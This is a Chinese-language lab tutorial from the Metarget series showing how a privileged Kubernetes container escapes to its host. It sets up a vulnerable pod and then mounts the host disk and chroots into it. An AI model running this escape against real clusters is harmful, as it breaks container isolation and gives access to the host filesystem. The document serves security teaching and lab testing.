玩转Metarget-0002期-特权容器导致容器逃逸

场景介绍

最初，容器特权模式的出现是为了帮助开发者实现Docker-in-Docker特性[1]。然而，在特权模式下运行不完全受控容器将给宿主机带来极大安全威胁。

官方文档[2]对特权模式的描述如下：

> *当操作者执行`docker run --privileged`时，Docker将允许容器访问宿主机上的所有设备，同时修改AppArmor或SELinux的配置，使容器拥有与那些直接运行在宿主机上的进程几乎相同的访问权限。*

事实上，由于具有所有的Capabilities，且包括AppArmor在内的安全机制都被禁用，能够从特权容器中逃逸的手段不止一种。这里权做抛砖引玉，欢迎大家一起讨论。

环境搭建

基础环境（Docker+K8s）准备（如果已经有任意版本的Docker+K8s环境则可跳过）：

```
./metarget gadget install docker --version 18.03.1
./metarget gadget install k8s --version 1.16.5 --domestic
```

漏洞环境准备：

```
./metarget cnv install privileged-container
```

执行完成后，K8s集群内`metarget`命令空间下将会创建一个名为`privileged-container`的包含特权容器的pod。

注：此场景较为简单，也可以直接使用Docker手动搭建，这里不再赘述。

漏洞复现

特权模式下容器能够看到宿主机硬盘设备，可以通过挂载宿主机硬盘的方式实现文件系统层面逃逸。

示例如下（硬盘路径需要根据实际环境确定，这里为`/dev/sda2`）：

```
➜  metarget git:(master) kubectl exec -it -n metarget privileged-container /bin/bash
root@privileged-container:/# fdisk -l | grep /dev/sda2
/dev/sda2   4096 167770111 167766016  80G Linux filesystem
root@privileged-container:/# mount /dev/sda2 /host
root@privileged-container:/# chroot /host
# cat /etc/hostname
metarget-test
```

后续可以通过各种类似于Linux写文件后门的技术获得宿主机上的shell，这里不再赘述。

参考文献

1. https://www.docker.com/blog/docker-can-now-run-within-docker/
2. https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities